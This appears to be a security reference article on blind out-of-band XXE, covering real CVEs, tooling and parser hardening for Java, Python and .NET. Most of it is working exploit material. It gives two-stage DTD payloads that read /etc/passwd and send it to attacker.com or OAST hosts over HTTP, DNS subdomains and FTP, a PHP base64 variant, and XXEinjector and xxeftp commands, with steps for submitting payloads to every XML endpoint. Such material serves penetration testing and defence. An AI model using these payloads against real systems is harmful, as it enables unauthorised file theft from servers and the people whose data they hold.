Out-of-band XXE exfiltrates file content via DNS or HTTP callbacks to attacker infrastructure when the server does not return entity content in the HTTP response.
TL;DR
file:///etc/passwd to OASTftp:// entitiesBlind Out-of-Band (OOB) XXE is the variant where the target server resolves external XML entities but does not return the entity content in the HTTP response. This occurs in applications that consume XML for internal processing — document importers, SAML processors, report generators, data pipelines — where the parsed content is never reflected back to the caller.
The attack relies on exfiltration via a separate channel: the attacker forces the XML parser to make outbound network connections to attacker-controlled infrastructure, carrying sensitive data as URL parameters, DNS subdomain labels, or FTP credentials. Tools like Interactsh (projectdiscovery's OAST server) or Burp Collaborator capture these callbacks and correlate them with specific payloads using unique per-probe tokens.
Blind OOB XXE (CWE-611) is significantly more prevalent than classic in-band file disclosure. Modern API responses rarely reflect raw XML entity values, meaning most XXE vulnerabilities in contemporary applications require OOB techniques to exploit. According to Bishop Fox's 2024 analysis, 23% of tested enterprise SOAP services contained XXE vulnerabilities, nearly all requiring OOB techniques for exploitation confirmation.
The two-stage parameter entity chain:
Stage 1 — Payload delivered to target:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % sp SYSTEM "http://attacker.com/exfil.dtd">
%sp;
%param1;
]>
<root/>Stage 2 — Attacker-hosted exfil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://UNIQUE-TOKEN.oast.pro/?d=%file;'>">
%exfil;The sequence: the target fetches exfil.dtd → %file expands to /etc/passwd contents → %param1 builds a URL containing those contents → %exfil makes the HTTP request to the OAST server. The attacker receives /etc/passwd content in the Interactsh dashboard.
The % entity escape represents % — required because parameter entities cannot be referenced from within another entity definition directly. This hex encoding bypasses the parser's own entity syntax rules.
<!-- Stage 1: payload to target -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % sp SYSTEM "http://attacker.com/exfil.dtd">
%sp;
%param1;
]>
<root/><!-- exfil.dtd hosted on attacker.com -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://YOUR-TOKEN.oast.pro/?c=%file;'>">
%exfil;For PHP-backed servers (base64 to handle multi-line and binary content):
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://YOUR-TOKEN.oast.pro/?b64=%file;'>">
%exfil;When HTTP egress is blocked but DNS resolution is permitted:
<!-- Encode data in DNS subdomain label (limit: 63 chars per label) -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % param1 "<!ENTITY % dns SYSTEM 'http://%file;.YOUR-TOKEN.oast.pro/'>">
%dns;The hostname content appears as the subdomain label in the DNS lookup. For longer files, use DNS exfiltration tools that chunk the data across multiple lookups.
Java's Xerces parser and libxml2 versions up to 2.9.4 support ftp:// URIs in external entities. The FTP USER/PASS login sequence carries file content as the username:
<!-- Tool: xxeftp (github.com/staaldraad/xxeftp) to capture FTP credentials -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'ftp://attacker.com:2121/%data;'>">
%param1;
%exfil;
]>
<root/>The FTP client connects to attacker.com:2121 and sends the file content as the FTP username. WAFs that only inspect HTTP traffic miss this exfiltration channel entirely.
CVE-2024-22024 — Ivanti Connect Secure (CVSS 8.3)
Ivanti's SAML endpoint at /dana-na/auth/saml-sso.cgi processed XML AuthnRequests with OOB XXE capability. The server fetched external DTDs from attacker-controlled URLs, enabling blind exfiltration of internal configuration files. Combined with CVE-2023-46805 (auth bypass), this created an unauthenticated OOB XXE path against thousands of deployed VPN concentrators. Ivanti's incident response confirmed file exfiltration in multiple confirmed customer compromises.
CVE-2025-66516 — Apache Tika PDF/XFA (CVSS 10.0)
Apache Tika's XFA form processing made outbound HTTP requests when resolving external entities in PDF-embedded XML. In environments where Tika output is logged but not reflected (common in document ingestion pipelines), this is a blind OOB XXE. The critical CVSS score reflects that Tika is deployed in enterprise search, AI RAG pipelines, and document management systems where unauthenticated document uploads are processed automatically.
CVE-2024-40896 — libxml2 SAX Handler Bypass (CVSS 7.5)
Applications using a custom xmlSAXHandler to implement entity rejection discovered that libxml2 still resolved external entities internally before calling the handler. The override was ineffective. Applications that believed they implemented blind-OOB protection via SAX were actually still making outbound callbacks — confirmed only when those callbacks appeared in network logs.
HackerOne #1379577 — XXE via SVG Upload
An avatar upload endpoint processed SVG files using a server-side renderer. The SVG contained a blind OOB XXE payload referencing an Interactsh token. The upload returned a 200 OK response with an image URL — no entity content was reflected. The Interactsh callback confirmed the server made an outbound HTTP request, proving blind OOB XXE. Follow-up payloads exfiltrated server configuration files.
Set up an Interactsh token (free: interactsh-client -server oast.pro) or use Burp Collaborator.
Craft a Stage 1 payload using your unique token:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://YOUR-UNIQUE-TOKEN.oast.pro/blind-xxe-test">
%xxe;
]>
<root/>Submit to every XML-consuming endpoint. Monitor Interactsh/Collaborator for DNS and HTTP callbacks.
For confirmed blind OOB, escalate to data exfiltration using the two-stage DTD chain.
For FTP exfil testing (Java targets): run xxeftp -p 2121 -o /tmp/captures and reference ftp://your-ip:2121/test in the entity.
Burp Suite Pro active scanner automates OOB XXE detection using Burp Collaborator for callback capture. It tests XML endpoints, SOAP bodies, and file upload flows automatically and reports any Collaborator interactions.
XXEinjector (ruby XXEinjector.rb --host=YOUR-IP --file=payload.xml --path=/etc/passwd) automates the two-stage DTD chain for blind file exfiltration, handling base64 encoding and chunked extraction automatically.
BreachVex detects blind OOB during its out-of-band probing stage: it injects unique out-of-band callback tokens per endpoint and waits for callbacks after each probe. A DNS-only callback is reported as POTENTIAL; an HTTP callback carrying exfiltrated data is CONFIRMED.
// Java — disabling DOCTYPE blocks all OOB entity resolution
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Parameter entity restriction is critical for OOB chains# Python — defusedxml blocks parameter entity OOB chains
from defusedxml import ElementTree as ET
# parameter entities blocked — cannot reference external DTDs
tree = ET.fromstring(xml_input)// .NET — XmlResolver = null prevents all external resource fetching
var settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null // critical: prevents the parser from fetching any URI
};Egress filtering alone does not prevent blind OOB XXE exploitation. It may prevent HTTP callbacks to the internet but leaves DNS-based exfiltration and FTP-based exfiltration active. It also does not prevent file:// reads, which can exfiltrate credentials to the attacker via a second request method. Parser hardening is the only reliable control.
Blind XXE means the application parses the XML and resolves external entities, but the entity value never appears in the HTTP response. This happens when the application processes the parsed document internally (logging, data import, validation) without reflecting entity values. Out-of-band (OOB) means the exfiltration uses a separate network channel — DNS or HTTP callbacks to attacker-controlled infrastructure — rather than the original HTTP response channel.
Stage 1: The attacker's XML payload contains a parameter entity referencing an attacker-hosted DTD: <!ENTITY % sp SYSTEM 'http://attacker.com/exfil.dtd'> %sp;. The server fetches this DTD. Stage 2: The hosted DTD contains: <!ENTITY % file SYSTEM 'file:///etc/passwd'> <!ENTITY % exfil '<!ENTITY % send SYSTEM "http://attacker.com/?d=%file;">'> %exfil; %send;. The server reads /etc/passwd, then makes a second HTTP request to attacker.com with the file contents as a URL parameter.
Interactsh (github.com/projectdiscovery/interactsh) is an open-source OAST (Out-of-Band Application Security Testing) server that provides unique per-probe DNS and HTTP callback URLs (format: UNIQUE-TOKEN.oast.pro). When the target server resolves the XXE entity and fetches the external URI, Interactsh records the DNS lookup and HTTP request. The per-token correlation prevents false positives from multiple simultaneous tests. Burp Collaborator provides the same capability within Burp Suite Pro.
DNS-only callbacks (confidence 0.30) can be triggered by legitimate server behavior: SAML metadata fetchers, email DMARC/DKIM validators, certificate transparency monitors, and other XML-consuming processes make DNS lookups without HTTP fetches. An HTTP callback to the attacker's OAST server is much harder to explain as benign behavior — it confirms the server made an active HTTP request to the attacker's infrastructure. Data exfiltration in the HTTP request body or URL parameters raises confidence to 0.98.
CVE-2024-22024 (Ivanti Connect Secure, CVSS 8.3) — SAML AuthnRequest processed with OOB callback capability. CVE-2025-49493 (Akamai CloudTest, CVSS 9.1) — SOAP services made outbound callbacks. CVE-2024-40896 (libxml2, CVSS 7.5) — custom SAX handler did not prevent OOB entity resolution, enabling blind XXE on applications that believed they were protected. CVE-2025-66516 (Apache Tika, CVSS 10.0) — PDF/XFA processing triggered OOB callbacks.
Host a file (e.g., exfil.dtd) on an HTTP server accessible from the target. Content: <!ENTITY % file SYSTEM 'file:///etc/passwd'> <!ENTITY % exfil '<!ENTITY % send SYSTEM "http://YOUR-OAST/?d=%file;">'> %exfil; %send;. Tools: python3 -m http.server 8080 for simple hosting; XXEinjector for automated multi-file exfiltration; xxeserv for combined DTD serving and callback capture. For URL-length limitations on large files, use base64 encoding: php://filter/convert.base64-encode/resource=/etc/passwd.
1. URL length limits: HTTP GET URLs are limited to ~2000 characters in most servers — files larger than ~1500 bytes may be truncated. Use base64 encoding of file chunks. 2. Newlines: URL query parameters cannot contain literal newlines — multi-line files must be URL-encoded or base64-encoded. 3. Null bytes: Binary files with null bytes break URL parameters. 4. Egress filtering: If the target has no outbound internet access, DNS-only exfiltration is still possible but data exfiltration requires DNS encoding (encode file content in subdomain labels).
DNS-based exfiltration encodes file content in the subdomain of a DNS lookup: <!ENTITY % send SYSTEM 'http://ENCODEDDATA.attacker.com/'>. The attacker reads the subdomain from DNS server logs. For multi-byte content, split into chunks matching DNS label length limits (63 chars) and make multiple lookups. This technique is slow but works through strict HTTP egress filters that still permit DNS resolution.
Java XML parsers (Xerces/JAXP) and libxml2 <= 2.9.4 support ftp:// URIs in external entities. The attacker runs a fake FTP server (tool: xxeftp from github.com/staaldraad/xxeftp). The payload: <!ENTITY % file SYSTEM 'file:///etc/passwd'> <!ENTITY % exfil '<!ENTITY % send SYSTEM "ftp://attacker.com:2121/%file;">'>. The FTP USER/PASS login sequence carries the file content as the credentials. FTP exfiltration bypasses WAFs that only monitor HTTP traffic for XXE patterns.
Active scanners (Burp Suite Pro, XXEinjector) inject XML payloads with unique Collaborator/Interactsh tokens and poll the OAST server for callbacks. If a DNS or HTTP interaction arrives from the target's IP/ASN, OOB XXE is confirmed. Passive detection: network monitoring for outbound DNS requests to unusual domains from application servers, combined with application logs showing XML parse errors on the same timestamp as the DNS request.
Error-based local DTD reuse reads files without any outbound connection. It references a local DTD file on the server (e.g., /usr/share/yelp/dtd/docbookx.dtd on Linux), redefines a parameter entity, and triggers an XML parse error that includes the target file's contents in the error message. The file content appears in the HTTP error response from the server. No callback infrastructure or outbound network access is required.